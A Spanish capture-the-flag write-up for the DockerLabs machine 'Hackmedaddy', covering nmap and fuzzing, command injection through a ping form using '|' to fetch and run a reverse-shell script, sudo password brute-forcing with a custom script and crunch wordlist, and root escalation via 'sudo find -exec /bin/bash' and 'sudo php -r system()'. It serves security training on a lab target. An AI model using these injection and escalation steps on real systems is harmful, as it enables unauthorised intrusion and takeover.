> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/hackmedaddy.md).
# Hackmedaddy
Datos
* **Máquina** -> Hackmedaddy
* **Dificultad** -> Difícil
* **Creador** -> [d1se0](https://github.com/D1se0)
Como es costumbre, después de desplegar el laboratorio procedemos a hacer un `ping` para verificar conectividad:
```bash
ping -c 1 172.17.02 -R
```
**Resultado**
```c
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.145 ms
RR: 172.17.0.1
172.17.0.2
172.17.0.2
172.17.0.1
--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.145/0.145/0.145/0.000 ms
```
Obtenemos conexión con la maquina victima, y mediante el **TTL** intuimos que estamos frente a una maquina **Linux**, ahora crearemos nuestras carpetas de trabajo mediante el comando `mkt` y nos moveremos a la carpeta `recognition/nmap` para empezar nuestro escaneo:
```bash
nmap -p- --open --min-rate 5000 -sSCV -v -n -Pn -oN targeted.txt 172.17.0.2
```
**Resultado -**** ****`targeted.txt`**
```ruby
# Nmap 7.95 scan initiated Thu May 29 22:13:12 2025 as: nmap -p- --open --min-rate 5000 -sSCV -v -n -Pn -oN targeted.txt 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 05:48:9d:f6:29:e1:dd:c4:f6:18:87:ff:13:15:5a:80 (ECDSA)
|_ 256 0a:3d:0d:c3:fe:4e:57:8a:de:1f:5f:3c:8e:92:e9:5b (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
| http-robots.txt: 3 disallowed entries
|_/FLAG.txt /joomla/* /secret/
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: HackMeDaddy - Hacking \xC3\x89tico
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 29 22:13:21 2025 -- 1 IP address (1 host up) scanned in 9.25 seconds
```
Solo notamos 2 puertos abiertos, el **22 -> ssh** y el **80 -> http**, el puerto **22** parece seguro por el momento, por lo cual nos centraremos en el puerto **80**, ya `nmap` nos da algunos datos muy interesantes, uno de ellos nos dice que existe un `http-robots.txt` el cual contiene 3 directorios o archivos: `/FLAG.txt`, `/joomla/*` y `/secret/`, como siguiente paso iremos a la web a ver que podemos encontrar:
> Contenido de la pagina web -> `http://172.17.0.2/`
La página web nos explica 3 fases importantes en el Hacking Ético y nos habla sobre laboratorios simulados, en la primera parte tenemos una especie de `cli` con 2 botones, uno para ejecutar un comando el cual no podemos elegir y el segundo para limpiar la salida de dicho comando, viendo el código fuente de la página podemos apreciar una lista de estos comandos que van apareciendo de forma dinámica cuando presionamos los botones, dicho fragmento de código es el siguiente:
```js
const commands = [
{ command: 'ping -c 1 example.com', output: 'PING example.com (93.184.216.34) 56(84) bytes of data. 64 bytes from 93.184.216.34: icmp_seq=1 ttl=55 time=11.6 ms --- example.com ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 11.619/11.619/11.619/0.000 ms' },
{ command: 'whoami', output: 'root' },
{ command: 'ls -l', output: `total 24
drwxr-xr-x 2 root root 4096 Mar 3 10:00 bin
drwxr-xr-x 3 root root 4096 Mar 3 10:00 boot
drwxr-xr-x 5 root root 340 Mar 31 14:13 dev
drwxr-xr-x 1 root root 4096 Mar 31 14:13 etc
drwxr-xr-x 2 root root 4096 Mar 3 10:00 home
drwxr-xr-x 2 root root 4096 Mar 3 10:00 lib` },
{ command: 'cat README.txt', output: 'd05notfound exploit payload shell bruteforce vulnerability cipher zero-day phishing root port_scan firewall backdoor' },
{ command: 'nmap -sS example.com', output: 'Starting Nmap 7.80 ( https://nmap.org ) at 2024-08-13 12:00 UTC Nmap scan report for example.com (93.184.216.34) Host is up (0.011s latency). Not shown: 998 filtered ports PORT STATE SERVICE 80/tcp open http 443/tcp open https' }
];
```
Vemos 5 comandos y hay uno que llama la atención -> `cat README.txt` el cual contiene nombres de posibles directorios o archivos, todo esto lo guardaremos con el mismo nombre `README.txt` en el directorio de trabajo `content`, lo pondremos en forma de lista quedando de la siguiente manera:
**Comando**
```bash
cat README.txt | tr ' ' '\n' | tee README.txt
```
Ahora pasaré a ver los directorios y archivos que encontró `nmap`:
* `http://172.17.0.2/robots.txt`
```js
###### ##### ###### ##### ###### ##### ## ##
## ## ## ## ## ## ## ## # ## # ## ## ## ##
## ## ## ## ## ## ## ## ## # ##### ## ## #####
##### ## ## ##### ## ## ## ##### ## #### ##
## ## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ## ## ## ## #### ## ##
#### ## ##### ###### ##### #### ##### ## ### ## ## ###
User-agent: *
Disallow: /FLAG.txt
Disallow: /joomla/*
Disallow: /secret/
```
En este archivo vemos 2 directorios y un archivo, pero todos nos devuelven un error, así que procedemos a hacer fuzzing con los directorios o archivos de `README.txt`:
**Comando**
```bash
feroxbuster --url http://172.17.0.2/ -w README.txt
```
> También podemos usar `directory-list-2.3-medium.txt` y encontraremos archivos útiles como: `/flag.txt` e `/info.txt` que nos darás pistas sobre la siguiente salida.
**Salida**
Hay una salida exitosa -> `http://172.17.0.2/d05notfound/d05notfound.php`, esta pagina web es la siguiente:
Esta pagina contiene 9 secciones, los primeros botones no funcionan y en general solo un botón funciona el cual esta de ultimo, el resto de información de la pagina web no nos es de utilidad, esta ultima nos da la posibilidad de hacer `ping` a una IP dada:
Para comprobar esto nos pondremos en escucha por la interfaz `docker0` mediante la herramienta `tcpdump` de la siguiente manera:
**Comando**
```bash
tcpdump -i docker0 icmp -X
```
> Escribimos nuestra IP -> `172.17.0.1` y ejecutamos en el servidor.
**Salida**
Como podemos apreciar `tcpdump` detecto una serie de `ping` echos por la IP `172.17.0.2` osea la maquina victima, por lo cual podemos decir que este apartado si es funcional, veamos como podemos aprovecharnos de esto utilizando un proxy, en este caso **Caido**:
Ya estando en **Caido** y después de haber creado un proyecto, nos dirigiremos a **Scopes** y agregaremos la IP `172.17.0.2`, quedando de la siguiente manera:
Ahora configuraremos un proxy en nuestro explorador, en mi caso usare **FoxyProxy** la IP y puerto son: `127.0.0.1:8080`, luego de conectarlos nos dirigiremos a **Intercept** le agregamos el **Scope** y en el navegador entramos a la web de nuevo, para enviarnos el `ping` otra vez:
La parte importante esta al final, veremos un campo llamado `comando`, podremos notar que en este campo se envía la IP a la cual se le va a hacer `ping`, tal vez este campo se añada sin sanitizar la variable, en **Linux** hay varias formas de concatenar comandos, entre ellas tenemos: `&&`, `;` y `|`, los 2 primeros ejecutaran un comando luego de ejecutar el anterior por ejemplo: `&&` podría decirse como, ejecuta este comando y el siguiente, `;` el punto y como se asemeja a un salto de linea para introducir un nuevo comando y el ultimo `|` se utiliza para concatenar comandos, osea ejecuta esto y a lo que salga ejecuta esto otro, aunque este ultimo comando podría no tener nada que ver con el primero, para probar cual de estas opciones son funcionales primero ejecutaremos un servicio en local:
**Comando**
```bash
php -S 0.0.0.0:80
```
Esto levantara un servidor web utilizando `php`, ahora en la web mandaremos el `ping` nuevamente y al final de la IP agregaremos un `wget` concatenando con las 3 opciones que mencionamos anteriormente una por una, en mi caso funciono la ultima ya que ni `&&` y `;` funcionaron, pero `|` si dio resultado:
**Resultado**
> Desde **Caido** en **Response** podremos ver que se envió una conexión a nuestro equipo.
> Y desde la **terminal** podremos observar la conexión que envió la IP victima.
Ahora crearemos un archivo como el siguiente y levantaremos un servidor en `php` de nuevo, este archivo nos enviara una reverse shell una vez sea ejecutado.
En la pagina web al hacer `ping` podremos concatenar el siguiente comando de `wget` para descargar `test.sh` y guardarlo en la carpeta `/tmp/`.
Al enviar la petición, podremos notar en la **Respuesta** que el archivo se descargo y guardo correctamente en `/tmp/`.
Antes de ejecutar el archivo `test.sh` me pongo en escucha mediante `pwncat-cs` de la siguiente manera:
```js
pwncat-cs :1234
```
Ahora si enviamos la siguiente petición:
Y veremos como obtenemos una reverse shell de la IP `172.17.0.2`
Con **Ctrl + d** podemos entrar a una terminal totalmente interactiva en la maquina victima y empezar a buscar una forma de escalar privilegios:
Como podemos ver, somos el usuario `www-data` y tenemos la IP `172.17.0.2`, para salir de la terminal y ejecutar módulos de `pwncat-cs` también usamos **Ctrl + d**.
Ahora bien enumerando un poco encontramos esta nota:
> Recordatorio:
>
> Borra mis contraseñas de la agenda, no quiero volver a meter la pata con el jefe.
>
> Por e1i0t
Esta nota nos da una pista de que la contraseña de `e1i0t` esta en un archivo que se llama agenda, y lo encontramos dentro del directorio `documents` para probar si la contraseña se encuentra dentro de este archivo usaremos uno de mis script de Bash, pueden clonarlo y probarlo con el siguiente enlace, [force\_sudo](https://github.com/anonymous-17-03/force_sudo.git), este script toma un nombre de usuario y un fichero con una lista de contraseñas a probar:
```bash
./force_sudo.sh -u usuario -d diccionario.txt
```
Así que pasaremos este archivo a la maquina victima y usaremos `agenda.txt` como diccionario.
Primero vamos al CLI de `pwncat-cs` y usamos el modulo `upload` para subir a la maquina victima el script en la carpeta `/tmp/`, luego entramos de nuevo a la Bash y nos dirigimos a `/tmp/`, lo que aremos ahora es copiar el archivo `agenda.txt` a `/tmp/` y luego ejecutar el script.
> Debemos recordar darle permisos de ejecución al script con `chmod`.
Y como podemos apreciar en la imagen, la contraseña que encontró el script es `eliotelmejor`, ahora hay que seguir buscando como elevar nuestros privilegios o migrar a otro usuario.
Enumerando un poco ya sea de forma manual o con los módulos de `pwncat-cs` encontramos que el usuario `e1i0t` puede ejecutar `/bin/find` sin contraseña como el usuario `an0n1mat0`, podemos usar `searchbins` para saber como aprovecharnos de esto:
```bash
searchbins -b find -f sudo
```
Lo modificaremos un poco y ejecutaremos:
```bash
sudo -u an0n1mat0 find . -exec /bin/bash \; -quit
```
**Resultado**
De tal forma que ahora somos `an0n1mat0`, en la carpeta `/home/` de este usuario podemos encontrar una nota que nos dice:
> El jefe me dijo que pronto te quitará los privilegios para poder acceder a tu carpeta secreta.
En la `/home/` del mismo usuario no tenemos ninguna carpeta que llame la atención, pero en la raíz del sistema si tenemos una carpeta sospechosa llamada `secret`:
En esta carpeta encontramos un archivo con nombre `confidencial.txt` el cual dice:
> Hay un archivo super secreto que nadie más que el jefe debe leer, porque hay algunas contraseñas de usuario.
>
> Tienes que mover el archivo `passwords_users.txt` a un lugar más seguro.
Usaremos `find` para buscar donde se encuentra dicho archivo:
```bash
find / -name passwords_users.txt 2>/dev/null
```
**Resultado**
```js
/usr/local/bin/passwords_users.txt
```
Copiaremos este archivo a `/tmp/`, el contenido es el siguiente:
> **Contraseñas de usuario:**
>
> **e1i0t:** eliotelmejor **an0n1mat0:** XXyanonymous **root:** root
>
> Hay algunas contraseñas desactualizadas, pero no recuerdo la contraseña completa de **an0n1mat0**, solo sé que donde los dos...
Tenemos algunas contraseñas, por ejemplo la de `e1i0t` ya la tenemos y probando nos damos de cuenta que la de `root` no es la que aparece hay, ademas de que la nota nos dice que hay contraseñas desactualizadas, ahora bien, la nota también nos menciona o nos da la pista sobre la contraseña de `an0n1mat0` la cual esta incompleta, nos hace una pequeña referencia para completar los 2 caracteres donde van las 2 **XX**, usaremos la siguiente herramientas para generar un diccionario y hacer fuerza bruta con el:
```bash
crunch 12 12 abcdefghijklmnopqrstuvwxyz -o diccionario.txt -t @@yanonymous
```
**Resultado**
Ahora pasaremos este diccionario a la maquina victima en el directorio `/tmp/` y procederemos a ejecutar nuevamente el script `force_sudo.sh` usando este diccionario que acabamos de crear.
Ahora que hemos obtenido la contraseña del usuario `an0n1mat0` podemos ejecutar comandos como `sudo -l`:
Y efectivamente podemos ejecutar `php` como **root** sin contraseña, nuevamente usaremos `searchbins` para saber como aprovecharnos de esto:
```bash
searchbins -b php -f sudo
```
**Resultado**
Procedemos a ejecutar los siguientes comandos:
```bash
CMD="/bin/bash"
sudo php -r "system('$CMD');"
```
**Resultado**
Con este ultimo paso logramos obtener los máximos privilegios en el sistema.